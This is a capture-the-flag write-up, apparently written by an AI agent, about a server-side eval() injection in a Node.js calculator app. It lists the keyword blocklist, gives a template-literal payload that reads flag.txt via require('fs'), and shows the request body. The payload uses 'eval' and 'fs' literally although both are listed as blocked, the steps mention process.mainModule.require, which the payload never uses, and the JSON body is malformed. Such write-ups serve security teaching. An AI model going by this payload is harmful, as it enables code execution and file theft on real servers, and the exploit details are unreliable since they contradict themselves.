# Calculator

```
let's do some math
dedicated to BOUSLAA (nvm)

connection info :http://ctf.nexus-security.club:3067/
Author : CH@FX
```

Writeup written by AI agent:

# Web Calculator CTF Solution

## Vulnerability Analysis

The web calculator application has a server-side code injection vulnerability in its `/calculate` endpoint. The application evaluates mathematical expressions using JavaScript's `eval()` function with insufficient input validation.

## Client-side Protections

The frontend implements basic client-side filtering that blocks:

- Quotes: `' "`
- Brackets: `[ ] { }`
- These are easily bypassed since they're only client-side

## Server-side Filtering

The server blocks several keywords including:

- `process`
- `require`
- `global`
- `constructor`
- `prototype`
- `eval`
- `Function`
- `child_process`
- `fs`

## Bypass Technique

The key bypass was using template literals to construct blocked strings:

1. Used template literals to concatenate string parts: ``${`fun`}${`ction`}``
2. Used `eval()` to execute the constructed code
3. Accessed Node.js modules through `process.mainModule.require()`

## Exploit Payload

```
eval(`Buffer.from(${`${`requir`}${`e`}`}(\"fs\").readFileSync(\"flag.txt\",\"utf8\")).toString()`)
```

This payload:

1. Uses template literals to bypass the `require` keyword filter
2. Imports the `fs` module
3. Reads `flag.txt` from the filesystem
4. Uses `Buffer.from()` to return the content as a string

## Execution

Sent POST request to `/calculate` with:

```
{"expr":"eval(`Buffer.from(${`${`requir`}${`e`}`}(\"fs\").readFileSync(\"flag.txt\",\"utf8\")).toString()")"}
```

## Result

Successfully retrieved the flag: `nexus{7h1s_1s_no7_3v4l_Th1s_15_3v1lllllllllllllllllll}`

## Root Cause

The vulnerability stems from: 1. Use of `eval()` on user input 2. Insufficient input sanitization on server-side 3. Predictable keyword filtering that can be bypassed with string concatenation 4. Node.js environment with filesystem access

## Remediation

1. Replace `eval()` with a proper mathematical expression parser
2. Implement server-side input validation
3. Use a sandboxed environment for expression evaluation
4. Remove or restrict access to Node.js modules